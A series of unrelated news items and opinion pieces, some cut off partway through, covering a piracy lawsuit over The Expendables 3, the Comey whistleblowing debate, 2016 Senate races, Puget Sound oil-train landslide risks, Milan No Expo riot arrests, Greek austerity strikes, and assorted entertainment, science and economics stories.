The movie studio is now asking the court to issue a default judgment preventing the site operators from offering or linking to pirated copies of The Expendables 3.
In addition, LionsGate demands the maximum $150,000 statutory damages for willful copyright infringement from each of them, as well as compensation for attorney fees and additional costs.
Previously LionsGate settled with the operator of video hosting service Played.to. Without the other defendants showing up in court, it is also expected to win this case easily.
Whether the accused site operators will actually cough up the money is another matter.
At the time of writing both Swankshare and Dotsemper are offline, and have been for a while. LimeTorrents and TorrentDownload.biz remain operational though.
In fact, while LimeTorrents blocked the “Expendables 3” term from its search results, there are still hundreds of individual torrent download pages available that link to the film.
Update: Limetorrents’ operator Javed Ashraf informs TorrentFreak that the .com domain is locked, but that they will continue operating under a new domain name. He’s not planning to comply with the default judgement, if it’s granted.
“We already took action and blocked the keyword so we don’t have to pay them a penny for their own leak problem,” he says. |
Eric Columbus served as senior counsel to the deputy attorney general in the Department of Justice from 2009 to 2014 and as special counsel to the general counsel of the Department of Homeland Security from 2014 to 2017. Follow him on Twitter at @ericcolumbus.
Trying to rebut James Comey’s damning testimony about his interactions with President Donald Trump, some Republicans—including the tweeter-in-chief himself—are less interested in what Comey revealed than in how he did so. They’ve slammed the former FBI director as a “leaker” for disclosing to a friend, and subsequently to the press, unclassified memoranda summarizing his interactions with President Trump. But that dog won’t hunt. If Comey had been a rank-and-file government employee, his disclosure would have constituted legally protected whistleblowing. Smearing Comey as a leaker is not only wrong, it’s also dangerous, because it can only discourage other government employees—who have far more to lose—from bringing misconduct to light.
What’s the difference between leaking and blowing the whistle? In popular parlance, it depends on who’s doing it. When someone reveals information in a manner that benefits our party or cause, we call it whistleblowing. When our own ox is gored, we call it leaking.
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The law, however, knows no such bias. The Whistleblower Protection Act (WPA), which protects federal government employees against retaliation for blowing the whistle, offers a useful definition of the term. Under the WPA, a federal government employee cannot be punished for disclosing publicly, unless specifically prohibited by a different law, information that he or she reasonably believes evidences “any violation of any law, rule or regulation, or gross mismanagement, a gross waste of funds, an abuse of authority, or a substantial and specific danger to public health or safety.” Importantly, disclosing an abuse of authority can be protected even if such abuse doesn’t rise to the level of an illegal act – such as, to pick a statute at random, obstruction of justice.
In considering how to evaluate Comey’s actions, it’s useful to imagine a scenario involving typical government employees. Let’s say Jane, who works in a federal agency, learns that her boss, Don, fired her colleague, Jim, for investigating Don’s buddy, Mike. Jane knows that Jim’s investigation was legitimate—and that sitting in Jim’s file cabinet is a memo discussing Don’s improper efforts to derail it. Jane walks into Jim’s former office, makes a copy of his memo, and gives it to a friend with instructions to deliver it to a reporter.
What do we make of Jane? She is shielded by the law. Don’s actions clearly constitute an “abuse of authority”—he fired Jim in an effort to impede a worthy investigation. If Don tries to fire, demote or otherwise retaliate against her, she has an excellent WPA claim and Don could be in big trouble. That Jane may have violated normally applicable rules about disclosing agency documents has no legal bearing on the matter. And if Jane would be protected for blowing the whistle on Don, then surely it would be wrong to condemn Jim had he, after getting fired, blown the whistle himself.
There’s a wrinkle here—the WPA doesn’t actually protect FBI whistleblowers, which is why I set this hypothetical in a generic government office. To protect the integrity of ongoing investigations, FBI employees must disclose wrongdoing through internal governmental channels. (As FBI director, Comey supported expanding whistleblower protections for FBI employees and last August gave a stirring speech in defense of whistleblowers at a Capitol Hill event marking National Whistleblower Day.) But this carve-out—which oddly doesn’t apply to other law enforcement agencies—shouldn’t affect how we judge Comey’s actions. He didn’t disclose any investigatory information, but rather disclosed precisely to protect the integrity of an investigation.
Some Trump allies have alleged that the contents of Comey’s disclosure were uniquely unsuitable for media consumption. Trump’s personal lawyer, Marc Kasowitz, incorrectly stated that Comey confessed to disclosing “classified information and privileged communications.” Indeed, the WPA doesn’t protect public disclosures of classified material, and excludes entirely certain agencies whose work is almost always classified. But as Comey explained in an exchange with Senator Roy Blunt, he provided only unclassified memoranda—indeed, given what we know about their contents, there would be no reason to assume any content was classified. As for Kasowitz’s apparent reference to executive privilege, that doctrine cannot block a private citizen from willingly disclosing information, as I explained in Politico last week.
Congressional Republicans have also been quick to condemn Comey as a leaker. It’s particularly disappointing to see GOP Senator Susan Collins helming this attack. With all the conviction of Claude Rains discovering gambling at Humphrey Bogart’s Casablanca café, Collins told Chuck Todd she was “stunned” that Comey had provided memos to the media, an act she deemed inappropriate. But as the top Republican on the Senate Homeland Security and Government Affairs Committee, Collins was instrumental in passing the Whistleblower Protection Enhancement Act of 2012, which I worked on extensively as part of the Obama administration’s negotiating team. As Collins noted upon its passage, the goal of the legislation was to make “crystal clear that federal employees should not be subject to prior restraint from, or punishment for, disclosing wrongdoing.” Collins cannot seriously dispute that what Comey did was precisely what she lauded federal employees for doing.
Nor does it make any sense for Collins and other Republicans to find “irony” in the fact that Comey disclosed memos despite having criticized leaks in the past. Surely there is a difference between leaking classified information pertinent to ongoing investigations and sharing with a reporter one’s own memo, drafted to protect the integrity of an investigation, after getting fired in an effort to sink that investigation.
Terrified of alienating Trump supporters, Collins and her colleagues continue to demonstrate that, as Upton Sinclair once put it, “It is difficult to get a man to understand something when his salary depends upon his not understanding it.” With regard to whistleblowers, this has consequences far beyond James Comey.
Slamming a high-profile whistleblower as a petulant leaker sends a worrisome message to rank-and-file governmental employees who may encounter misconduct. Typically, we protect and praise employees who leak wrongdoing because we recognize that such leaks can be the best way to expose waste, fraud and abuse. During the Obama years, Republicans lauded the efforts of employees who exposed what they viewed as government malfeasance, and were appropriately vigilant for signs of retaliation against them. Some Republicans are nostalgic for that era. Like an aging rocker whose hits are long past, Rep. Jason Chaffetz, chairman of the House Committee on Oversight and Government Reform, convened a hearing last week to rehash the details of Operation Fast and Furious, a botched ATF effort at tracking the flow of firearms to Mexico that was brought to light by ATF whistleblowers, and investigated extensively by Congress, during President Obama’s first term.
Despite ample evidence that the Trump administration might not be entirely on the level, the GOP Congress has been extremely loath to exercise its oversight powers thus far. Chaffetz, who anticipated greeting President Hillary Clinton with a knife and fork, is so uninterested in overseeing Trump that he’s quitting Congress entirely at the end of the month. In such an atmosphere, the contributions of whistleblowers are even more important than usual. But if whistleblowers are derided as self-serving leakers for daring to expose abuses, fewer will come forward. The GOP’s attacks on Comey provide little cause for optimism. |
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Nov. 3, 2015, 11:13 AM GMT / Updated Nov. 3, 2015, 3:23 PM GMT By Carrie Dann
The American people won’t just be selecting a president in November 2016. Along with House races, ballot initiatives and countless local offices, 34 United States Senate contests will appear on ballots around the country, with high stakes for both parties.
Republicans have built a majority in the upper chamber, but they face the daunting task this cycle of defending 24 GOP-held Senate seats, while Democrats are only playing defense on 10. Democrats need a net gain of either four or five seats to regain control of the upper chamber, depending on whether or not they also win the White House.
Here are six of the top races to watch one year out.
Nevada
If there’s one Democratic-held seat that Republicans are most eager to (finally!) capture, it may be Senate Minority Leader Harry’s Reid’s Senate seat. Reid eked out a reelection win five years ago after GOP nominee Sharron Angle imploded the party’s chances of taking down a top target.
Full 2016 election coverage from NBC News.
Now that Reid is retiring, Republicans have a solid recruit in Rep. Joe Heck, a physician and Army Reservist from a swing congressional district. Democrats also believe they have a top choice in former Attorney General Catherine Cortez Masto, whom Reid has already endorsed. It’s a race poised to go down to the wire, but some Republicans fear that Angle could give it another run, damaging their preferred candidate in the process.
Florida
If you need tales of animal sacrifice to keep you entertained about downballot races, never fear: Florida has you covered.
With Florida Sen. Marco Rubio giving up his seat in his quest for the presidency, Florida voters are once again witnessing an unpredictable scramble for the seat in the swing state. On the Democratic side, Rep. Patrick Murphy made his run official back in March and won the backing of the political arm of Democrats in the Senate by May. But progressives, not happy with a former Republican as a standard-bearer, got their own candidate in famous liberal firebrand Alan Grayson.
The GOP field is even more crowded, with many conservative groups backing Rep. Ron DeSantis, with his House colleague David Jolly as well as Lt. Gov. Carlos Lopez-Cantera already in the race as well. (With the state’s late filing deadline, several others may throw their hat in the ring, too.) There are also some, well, unconventional folks in the race too.
A story about libertarian candidate Augustus Sol Invictus (not his given name) went predictably viral after an accusation that he sacrificed a goat to “the god of the wilderness” and drank its blood in the Mojave desert as part of a pagan ritual two years ago. And onetime Donald Trump adviser Roger Stone is in the race, too. Goat blood aside, the jumbled primaries on either side of the aisle promise an unpredictable race that will only be further complicated if a favorite son from the Sunshine State – Marco Rubio or Jeb Bush -- ends up on the presidential ticket, too.
Illinois
This Midwestern state hasn’t voted for a Republican president for more than 25 years, and its Republican incumbent is the most vulnerable senator on the ballot nationwide for 2016. Sen. Mark Kirk, a moderate who has endorsed gay marriage, is running his first campaign since suffering a stroke in 2012. He’s made his rehabilitation a big part of his campaign, with his first TV ad highlighting his determination to recover his ability to walk.
But while he has tried to appeal to more Democratic constituencies in the Land of Lincoln, he’s also been hurt by verbal missteps, including a statement that people drive faster through black communities. Democrat Rep. Tammy Duckworth, an Iraq War veteran who lost her legs and use of her right arm in a combat mission, is the DSCC’s favored candidate in the race. But she’s first facing a primary challenge from Andrea Zopp, an African American who once led the Chicago Urban League.
New Hampshire
As if New Hampshire isn’t already primed for the political spotlight with its all-important presidential primary in February, the suspense is almost sure to continue up until Election Day with a marquee Senate race between two well-known female lawmakers. The battle between Sen. Kelly Ayotte and top Democratic recruit Gov. Maggie Hassan promises to be perhaps the most competitive contest this cycle at the Senate level.
Early polls indicate that Ayotte, whose relatively moderate voting record in the Senate has helped to boost her stature in the Granite State, is running about even with Hassan, who was first elected governor in 2012. Both have strong approval ratings and are sure to highlight bipartisan work in a state known for politicians that don’t fit a partisan mold. A Democratic ticket featuring Hillary Clinton could be a boon for Hassan, who’s a top ally of the former secretary of state.
Wisconsin
In sports, as in politics, everyone loves a good rematch. The 2016 Wisconsin Senate race will pit incumbent Republican Ron Johnson against Democrat Russ Feingold, who lost his seat to Johnson during in the 2010 Republican sweep. Feingold is well known in the state from his previous 18-year tenure in the Senate – and he’s got some celebrity nationwide for his efforts to reform campaign finance laws.
Feingold has led in recent polls, and he’s likely to be helped by the fact that it’s a presidential year, but Johnson has been working to paint his foe as a career politician who has been plotting a comeback since being booted out of office. And the kind of vengeance that Feingold seeks is rare, too. According to the Rothenberg Gonzalez report, the last time that a defeated incumbent came back to win a later election was in 1934.
Ohio
In the quintessential battleground state, Democrats are hoping to pick off an incumbent Republican who easily won in a non-presidential year. Incumbent Rob Portman isn’t facing a strong primary challenge – despite GOP fears that he’d be targeted for his more moderate stances, including his support of gay marriage.
Former Governor Ted Strickland is vying for the seat on the Democratic side and has the backing of the DSCC, but he faces a primary challenge from 30 year-old Cincinnati councilman P.G. Sittenfeld, a favorite of progressives. Democrats note that Portman isn’t particularly well-known in the state, while Strickland’s four years as governor earned him a more robust name ID. Both sides are side to get plenty of attention from their respective presidential nominees, who will spend significant time in the swing state in the lead-up to 2016. |
Featuring a similar design to the PLX-1000 pro model, the high-torque PLX-500 can be used alongside compatible gear to mix and scratch both records and digital files. Like Sony's turntable, the Pioneer direct-drive PLX-500 has a line out so you don't need to have an amplifier to make it work. Just plug it into your powered speakers or sound system and you'll be good to go. If direct-drive is a deal breaker for you, the pricier Sony PS-HX500 is belt driven.
In terms of digitizing your record collection, all you need to do is connect the new Pioneer turntable to your PC or Mac via USB and you can build a library of WAV files with the help of the Rekordbox app. That software keeps track of the silence between tracks and creates a separate file for each one. However, you will have to enter the song titles and artist info when the process is complete though. Pioneer's PLX-500 will be available in both black and white versions when it ships in September. And at $350, it won't eat into your savings nearly as much as the Technics SL-1200. |
March 22 marked the first anniversary of the landslide in Oso, Washington. A water-logged mountain slope gave way, unleashing staggering volumes of earth and debris that swept across a small community and killed 43 people. Oso was an awful lesson in the destructive power of slides.
It’s a lesson that bears special consideration as the Northwest considers proposals to add dozens of hazardous coal and oil trains to coastal rail lines that are routinely plagued by slides.
We know that when oil trains derail they are prone to spills and catastrophic fires, mishaps that would be very challenging to address in many of the remote locations traversed by the main rail route along the northern shores of Puget Sound. Although the dry winter of 2014-15 maintained mostly stable earth along the rail lines, the region is not always so fortunate. During the wetter winter of 2012-13, for example, hillsides collapsed repeatedly over the tracks, forcing officials to cancel 206 passenger trains over 28 days. Prior winters had also yielded meaningful delays due to landslides.
Even if you’re not a north Sound commuter or an Amtrak rider, you may have heard about passengers’ frustration. Or maybe you saw the live video footage of a mudslide that took out a freight train between Seattle and Everett in December 2012.
If that landslide had struck one of the loaded oil trains that now run through that very same spot, the consequences could have been dire.
While 2012-13 was one of the worst slide seasons in a hundred years of record keeping, it was really just part of a natural geologic pattern of unstable Puget Sound bluffs eroding down to the beaches—the same beaches that now host the region’s major rail route. When these hills slide, they end up on the tracks more often than not. The Washington Department of Transportation calculates that from 1914 to 2001, more than 900 slides occurred on the slopes north of Seattle—with 80 percent leaving debris on the tracks.
Direct hits are not unheard of. Perhaps the most noteworthy instance of a landslide colliding with a train was in 1997 at Woodway, near Edmonds. A deep slide cut tens of feet into the slope and sent 60 Olympic-size swimming pools worth of earth slamming into a freight train, sweeping five rail cars into Puget Sound. It left debris standing 20 feet high on the tracks. Just hours earlier, an Amtrak passenger train with 650 people aboard had passed by.
The crude-by-rail facilities operating and proposed at northern Puget Sound refineries mean that several loaded oil trains run along those tracks every day.
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Landslides share some common features, but it is nearly impossible to predict when they will occur over an entire rail corridor. Complicating matter is the sheer number of potential slide locations. In fact, geologists have identified hundreds of unstable slopes up and down the Puget Sound coastal rail routes.
BNSF spokesman Gus Melonas put it well: “Anytime a 300-mile corridor from Portland to Vancouver, BC, is lined on one side with water, and steep slopes on another, and we’re in the middle of this rain-forest area, slides are a reality.”
Rain is a key risk factor, and Northwest winters may become wetter as the climate changes, but the effects are not regular and they vary based on local conditions, such as drainage, vegetation, and slope gradient. In Woodway, for example, the slide area had not seen heavy rains for a couple weeks prior to the hillside giving way, and a second minor slide occurred the day after the major event. Earthquakes can also trigger landslides, especially when the soil is wet. A recent University of Washington study illustrated this point with historical evidence: the Nisqually earthquake of 2001 set off more than 100 slides. In the the past it was not uncommon for triggering earthquakes to send whole forests sliding into Lake Washington.
If there’s a fix for the landslide prone bluffs along the railway, it’s not an easy one. Washington has received some federal funds for mud control above railroad tracks, but it is essentially a multi-million dollar game of whack-a-mole, and the potential need dwarfs the few projects underway. In the meantime, the railroad continues to haul three-million-gallon oil trains along the route two or three times a day, on average.
After a slide, passenger trains face a railroad-imposed 48-hour waiting period, ostensibly in the name of public safety. Yet that policy does not apply to freight trains, not even those carrying dangerous or explosive cargoes. Former transportation analyst Larry Ehl, now Chief of Staff at the Port of Seattle, recommended that given the severity of the threat, the “safety first” position for passenger service would be to completely shut down for the rainy season. A similar policy would be wise for hazardous cargo like oil.
In the aftermath of the devastating Oso landslide, reporters at the Seattle Times tracked warnings going back decades. It’s all-too-similar to the repeated warnings about Puget Sound bluffs. And if a landslide like the one in Woodway knocks down an oil train or sweeps it into Puget Sound, the damage—whether from fire or spill or both—will be the stuff of unfortunate future headlines. |
Photo credit: Bob Christie/Associated Press
By Bob Christie
An atheist member of the Arizona House denied the chance to deliver the chamber’s opening prayer by majority Republican leaders last month got the opportunity Thursday, only to see leaders rule his prayer didn’t pass muster and call up a Christian pastor.
The opening prayer by Democrat Juan Mendez included a call to work to help the state and its residents flourish and to “honor the Constitution and the secular equality it brings.” But he didn’t pray to any deity, which infuriated some Republicans who are Christians.
Mendez said before the session that he had been invited to deliver the opening prayer by majority Republican leaders and that he didn’t plan to invoke God.
After his prayer, House Majority Leader Steve Montenegro said Mendez’s decision not to pray to God didn’t meet House rules he issued earlier this year for the opening prayer. Speaker David Gowan then said “point of order well taken” and called on a Baptist minister on hand in an apparently planned response.
“At least let one voice today say thank you, God bless you,” the Rev. Mark Mucklow said in closing.
The minister’s invocation was followed by sharp comments from several Republicans who took issue with Mendez’s prayer.
Rep. Warren Peterson, R-Gilbert, said prayers have been part of legislative meetings “since the founding of this great country.”
“You know what it looks like, you know what it is, it has a long-standing tradition,” Peterson said. “We also know what it looks like when somebody is desecrating and mocking someone else’s beliefs.”
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Alla fine i poliziotti della Digos sono riusciti a isolare i segni. Al di là delle fiamme, oltre le barricate in strada con i cassonetti, tra le nubi dense dei fumogeni: scandagliando le immagini concitate della devastazione, si riconoscono i «condottieri» del blocco nero che guidano le loro «squadre». Prima dell’attacco nel corteo «No Expo» del Primo Maggio avevano fatto sopralluoghi, studiato i percorsi, ipotizzato i punti favorevoli per gli attacchi, distribuito agli anarchici stranieri piantine e istruzioni per muoversi e per fuggire. Durante l’ora di guerriglia tra via Carducci e via Vincenzo Monti, hanno guidato movimenti e ritirate. Lo hanno fatto gli italiani: Andrea Casieri, 36 anni, detto Casper, mentre «il blocco nero avanzava lungo via Carducci (si legge nell’ordinanza firmata dal gip Donatella Banci Bonamici, ndr ) chiamava a raccolta i manifestanti rimasti indietro, esortandoli a ricongiungersi». In modo ancor più esplicito, i greci hanno mostrato la loro tattica organizzata: Odysseas Chatzineofyton, 23 anni, una bottiglia di birra in mano, dopo che i «suoi» hanno rovesciato una Mercedes classe B «effettua un segnale per il gruppo, indicando il numero tre».
Questi segnali con le dita non sono ancora stati decodificati dagli investigatori. Sono però un elemento che conferma pianificazione e strategia. E raccontano anche altro: l’alleanza tra anarchici milanesi e greci che è stata uno dei propulsori dell’attacco a Milano. Tra gli arrestati, Casieri è quello che «vanta» il curriculum di piazza più corposo: precedenti per danneggiamenti, occupazioni, resistenza. La sua carriera inizia da «bottigliere» e il debutto ha un grosso peso in questa storia. Nel 2010 un gruppo di ragazzi occupò un palazzo in via Savona, che chiamarono appunto «Bottiglieria». Sgomberati dopo qualche mese, rioccuparono in via Giannone (zona Sarpi) una ex stamperia. Poi passarono qualche tempo nella piscina dismessa di via Botta, zona Porta Romana. In tutti questi anni di peregrinazione, sono rimasti però conosciuti come «bottiglieri», quelli che a partire del 2010 hanno alzato pesantemente il livello dello scontro nelle manifestazioni studentesche, ala estrema dell’antagonismo che s’è legata ai gruppi e alle pratiche anarchiche. Negli ultimi tempi Casieri, come gli altri tre italiani arrestati, si è avvicinato a un altro ambiente che ha fornito manovalanza al Primo Maggio: gli squatter del Pirata Riot Club (che hanno occupato una caserma in viale Fulvio Testi, sgomberata poco prima di Expo proprio per il timore che diventasse un punto d’ospitalità di anarchici stranieri) e Casa Brancaleone, dove ieri è stata organizzata una riunione per discutere degli arresti (a Dergano, teatro di una recente occupazione).
Nel ricostruire la genesi della violenza organizzata del Primo Maggio conta però sapere qual è stata l’ultima tappa dei «bottiglieri»: un hotel occupato in via Ruggiero Settimo, a pochi metri da piazza Piemonte. Nel 2012 alcuni «bottiglieri» si trovavano ad Atene durante le giornate di guerriglia con decine di feriti. E ospiti dello stesso gruppo, nell’hotel occupato, sono stati gli anarchici greci arrivati a Milano per contestare l’Expo. Il giorno dopo il corteo, 2 maggio, la Digos ne identificò 14: tra quelli, 4 sono stati fermati ieri. In questo quadro manca l’ultimo tassello: la storica guida dei «bottiglieri» è Valerio Ferrandi, 30 anni. Di certo ha partecipato al corteo del Primo Maggio, a volto scoperto. Non è accusato di nulla, ma poche settimane dopo le devastazioni ha lasciato Milano. Ora si trova in Sud America. E nello stesso ambiente antagonista, qualcuno si interroga su questa lunga trasferta. |
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May 17, 2016, 5:11 PM GMT / Source: TODAY By Ree Hines
He's funny, charming and talented, but Tom Hanks is also "a total idiot" — according to the star himself.
That's because, despite being clever in many ways, he ignored medical advice and chose to live a lifestyle that he now believes led to his type 2 diabetes diagnosis.
"I'm part of the lazy American generation that has blindly kept dancing through the party and now finds ourselves with a malady," the actor explained in an interview for the upcoming issue of Radio Times.
Jamie McCarthy / Getty Images
“I was heavy. You've seen me in movies, you know what I looked like," he continued. "I was a total idiot."
MORE: Tom Hanks reveals he has type 2 diabetes on 'Late Show'
Back in 2013, Hanks first revealed his ailment, telling then-"Late Show" host David Letterman, "I went to the doctor, and he said, 'You know those high blood sugar numbers you've been dealing with since you were 36? Well, you've graduated! You've got type 2 diabetes, young man,'"
It seems the 59-year-old's previous attempts to bring those elevated blood sugar numbers down by dieting just weren't working.
"I thought I could avoid it by removing the buns from my cheeseburgers," he told RadioTimes. "Well, it takes a little bit more than that."
But it's not too late to turn things around.
MORE: Tom Hanks begged for a break when he was just 18: 'You should discover me'
"My doctor says if I can hit a target weight, I will not have type 2 diabetes anymore," he adeed.
But in 2013, he explained to Letterman that his teen-like target weight was one he might not be able to hit.
"Well, I'm going to have type 2 diabetes then, because there is no way I can weigh [what I weighed] in high school," he said with a laugh.
Follow Ree Hines on Twitter. |
BEIJING (Reuters) - German President Joachim Gauck told students in China on Wednesday that communist East Germany lacked legitimacy, as he denounced “dictatorship” and called for academic freedom.
German President Joachim Gauck (L) shakes hands with Chinese Premier Li Keqiang ahead of a meeting at the Great Hall of the People in Beijing, China, March 21, 2016. REUTERS/Wu Hong/Pool
China is in a midst of a renewed crackdown on civil society and the media by its ruling Communist Party.
Gauck, a former rights activist in East Germany, said his former country’s propaganda “glorified” it as the better of the two Germanies, according to an English transcript of his comments issued on his office’s website.
“But it wasn’t. It was a state that, as part of the union of Communist countries dependent on the Soviet Union, silenced its own people, locked them up and humiliated those who refused to comply with the will of the leaders,” he told students at Shanghai’s elite Tongji University.
Germany was split at the end of World War Two into a communist east and capitalist west. It was re-united in 1990, after the fall of he Berlin wall.
Gauck said most people in East Germany were “neither happy nor liberated” and the system lacked legitimacy. He referred to both the Nazi and communist periods as “brutal dictatorships”.
“Free, equal and secret public elections were not held. The result was a lack of credibility, which went hand in hand with a culture of distrust between the rulers and those they ruled.”
Gauck said he was also “concerned to hear some of the news that has been coming out of China’s civil society lately and in recent days”, though he did not give any examples.
Universities, he added, have “to be a place of unhampered research and free and frank discussion”.
Asked about his remarks, Chinese Foreign Ministry spokeswoman Hua Chunying said she had “not read in detail” his speech.
“We absolutely endorse that the social systems, traditions and culture in China and Germany are not exactly the same,” she told a daily news briefing.
As long as the two countries respect each other and deepen trust via dialogue, then relations could continue to be good, she said.
Gauck, whose position is largely ceremonial, is on an official visit to China, and has already met President Xi Jinping.
On Tuesday, the Global Times, an influential tabloid published by the Communist Party’s official People’s Daily, said in an editorial human rights were not a priority for his trip.
“Although having different values with the Chinese, Gauck clearly knows that he has to show respect to China despite the differences,” it said.
“He knows that unlike in the era of East Germany, China has its own diversity. The development of human rights in China is different from what the Western world portrays.” |
A quick list of things that four-time James Bond Daniel Craig no longer gives a fuck about, as per a recent interview with Time Out London about his upcoming movie Spectre:
Making another James Bond movie at the moment: “Now? I’d rather break this glass and slash my wrists. No, not at the moment. Not at all. That’s fine. I’m over it at the moment. We’re done. All I want to do is move on.”
“Now? I’d rather break this glass and slash my wrists. No, not at the moment. Not at all. That’s fine. I’m over it at the moment. We’re done. All I want to do is move on.” Making another James Bond movie ever again: “I haven’t given it any thought. For at least a year or two, I just don’t want to think about it. I don’t know what the next step is. I’ve no idea. Not because I’m trying to be cagey. Who the fuck knows?”
“I haven’t given it any thought. For at least a year or two, I just don’t want to think about it. I don’t know what the next step is. I’ve no idea. Not because I’m trying to be cagey. Who the fuck knows?” Where all of Bond’s iconic gadgets have been in his recent movies: “Everyone’s been banging on to me about the gadgets. ‘Where are the gadgets?’ Before it hasn’t felt right, and it’s not like we’ve made this one heavily into gadgets, but we’ve snuck a lot of stuff in.”
“Everyone’s been banging on to me about the gadgets. ‘Where are the gadgets?’ Before it hasn’t felt right, and it’s not like we’ve made this one heavily into gadgets, but we’ve snuck a lot of stuff in.” Who’ll play James Bond after him: “Look, I don’t give a fuck.”
For comparison, here’s a brief list of things Daniel does give a fuck about: Drinking (which he’s doing “a lot more” of as he relaxes from the eight-month Spectre shoot), working with director Sam Mendes (who he says he forged a “proper friendship” with over the apparently fuck-draining ordeal of shooting Skyfall and this latest movie), and the money (which is what he’d be “doing it for” if anyone ever convinces him to play James Bond again.) This concludes your Daniel Craig Fuck-Giving Report. Good night, and good fuck.
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Over the last three years — since October 2006 — the overall unemployment rate has risen by 5.8 percentage points. That is the largest such increase since the Great Depression, providing another indication of the rapidity and severity of the current downturn.
Before this cycle, the sharpest 36-month increase since World War II was a 4.9 percentage point rise in the period that ended November 1982.
The accompanying charts show the short- and long-term unemployment rates during the three cycles since World War II when the unemployment rate rose above 8 percent, and reflect how different groups of workers fared in each.
Each of the charts begins in the month when the broadest measure of employment — the proportion of people over age 16 with jobs — hit a cyclical peak. The first two end when that measure reached a cyclical low, several months after the recession was later deemed to have ended. The final chart runs through October, the latest month available.
With each chart are calculations on the proportion of jobs that were added or lost from the peak through the bottom for differing groups of workers.
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This cycle has been the worst over all, with the government’s household survey in October finding 7.7 million fewer jobs than in December 2006, when the employment-to-population ratio reached its high for the current cycle. The declines during the two earlier cycles, from November 1973 to June 1975 and from December 1979 to March 1983, were 0.8 percent and 2.0 percent, respectively.
Women have held on to jobs better than men have during this downturn, reflecting a pattern that prevailed during the previous cycles.
One major difference is how older workers have fared. The number of jobs held by men over 55 is up 5.6 percent since the cycle began, and the number of jobs held by women of that age has risen by 9.3 percent.
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There are fewer jobs for workers age 54 to 64 than when the cycle began, but that group has done much better than younger workers.
By contrast, younger workers were more likely to hold on to their jobs in the two previous downturns.
It is not clear why that pattern has changed. It is against federal law to discriminate against older workers, but that law was passed in 1967, before either of the previous downturns. It could be that the plunge in real estate and stock prices in 2008 led fewer older workers to decide to retire.
The proportion of the work force out of work for more than 15 weeks reached 5.7 percent in October, well above the 4.2 percent figure reached in 1982. That had been the highest such figure since the government began calculating the number in 1948.
The proportion that has been out of work for at least 27 weeks — half a year — is now 3.6 percent, also a record. |
Astronomers have discovered that we're not alone. They've found several rare dwarf satellite galaxies orbiting our own Milky Way. The findings could pave the way to better understanding dark matter, the mysterious substance that holds our galaxy together.
Dwarf galaxies in general were only first found in 2005. These small celestial objects orbit larger galaxies, and the new satellites were found in the southern hemisphere near the Large and Small Magellanic Cloud, which are the largest and most well-known dwarf galaxies in the Milky Way's orbit.
The newly discovered objects are about a billion times dimmer than the Milky Way, and a million times less massive. The closest one is about 95,000 light-years away and the most distant is about a million light-years away.
"The discovery of so many satellites in such a small area of the sky was completely unexpected," said Sergey Koposov, the lead author of the new study, in a news release. "I could not believe my eyes."
Standard cosmological models of the universe predict that there are hundreds of dwarf galaxies in orbit around the Milky Way. Yet their dimness and small size makes them difficult to find. This recent discovery, therefore, confirms these models. Not only that, but because dwarf galaxies contain up to 99 percent dark matter and just one percent observable matter, they're ideal for testing whether dark matter models are correct.
"Dwarf satellites are the final frontier for testing our theories of dark matter," said Vasily Belokurov, one of the study's co-authors. "We need to find them to determine whether our cosmological picture makes sense. Finding such a large group of satellites near the Magellanic Clouds was surprising, though, as earlier surveys of the southern sky found very little, so we were not expecting to stumble on such a treasure."
The findings are published in The Astrophysical Journal.
For more great science stories and general news, please visit our sister site, Headlines and Global News (HNGN). |
ATHENS (Reuters) - Angry protesters vowed to bring Greece to a standstill on the second day of a general strike on Thursday while disgruntled lawmakers vote on the details of a deeply unpopular austerity package needed to stave off bankruptcy.
Parliament is expected to give a final green light late in the day to the belt-tightening plan required by the EU and the IMF, after backing it in principle in a first reading on Wednesday despite the country’s biggest labor action in years.
But some ruling party MPs have warned they may vote against one of the bill’s most controversial provisions, threatening to weaken the beleaguered government’s narrow majority as it battles a debt crisis that is shaking global markets.
Thousands of police will be deployed through central Athens after black-clad youth clashed with riot police on Wednesday, pelting them with petrol bombs and chunks of marble during an anti-austerity march that drew more than 100,000 protesters.
Ships will be docked, ministries and schools shut and hospitals will work on skeleton staff in the second day of a 48-hour strike against plans to pile more taxes on austerity-hit Greeks and put tens of thousands of state workers on the road to redundancy.
“The protests will shake the government again, they will feel like an earthquake,” said Ilias Iliopoulos, secretary general of public union ADEDY.
Protesters are set to rally in front of parliament from 0800 GMT (4 a.m. ET) and will try to stay on the square till late at night, while lawmakers vote on the bill.
Analysts expect the protests to continue unabated as Greeks of all walks of life have become increasingly angry at measures they feel only hurt the poorest while tax evaders and corrupt politicians remain unaffected.
But commentators see no other option for the ruling Socialists, who hold 154 seats in the 300-strong assembly, than to pass the measures, a key condition to convince the EU and IMF ahead of a crunch summit on Sunday that Greece deserves to keep getting the loans it needs to avoid bankruptcy.
“People sent a message on Wednesday that they have reached their limits and can’t take any more austerity,” said Theodore Couloumbis of the ELIAMEP think-tank.
“But these kind of protests cannot topple the government ... I don’t see this happening now,” he said.
The bill foresees an average income cut of about 20 percent for public sector workers, according to estimates by public sector labor unions, and reduces the tax-free income threshold.
Slideshow (15 Images)
It will make it easier for firms to cut payroll costs by reaching company-level wage agreements, which has particularly angered some ruling party lawmakers.”
Prime Minister George Papandreou will hold a cabinet meeting at around 0900 GMT, ahead of the parliamentary vote and of Sunday’s EU summit. |
WASHINGTON (Reuters) - President Donald Trump’s eldest son and a former business associate of the president are due to testify to the U.S. House of Representatives Intelligence Committee, as it continues its investigation of possible Russian involvement in the 2016 election, sources familiar with the schedule said.
FILE PHOTO: Donald Trump Jr. stands onstage with his father then Republican U.S. presidential nominee Donald Trump after Trump's debate against Democratic nominee Hillary Clinton at Hofstra University in Hempstead, New York, U.S. on September 26, 2016. REUTERS/Brian Snyder/File Photo
Donald Trump Jr. will appear before the committee on Wednesday and Felix Sater, a Russian-American who was a former Trump business associate who claimed deep ties to Moscow, as soon as Thursday, the sources said. Neither session will be public.
Donald Trump Jr.’s attorney declined a request for comment on his Wednesday appearance, which was first reported by CNN.
An attorney for Sater, Robert Wolf, did not respond to a request for comment. Another source said his session with the panel had been set for Thursday but might be rescheduled.
Committee aides declined to comment. It is the Intelligence Committee’s policy not to comment on the schedule for closed meetings.
The panel is one of the three main congressional committees, as well as Justice Department Special Counsel Robert Mueller, investigating Russia and the 2016 U.S. presidential election, and the possibility of collusion between Trump associates and Moscow.
Separately, Senator Dianne Feinstein, the top Democrat on the Senate Judiciary Committee, said on Monday she had made requests to three more people for information related to the Russia investigation.
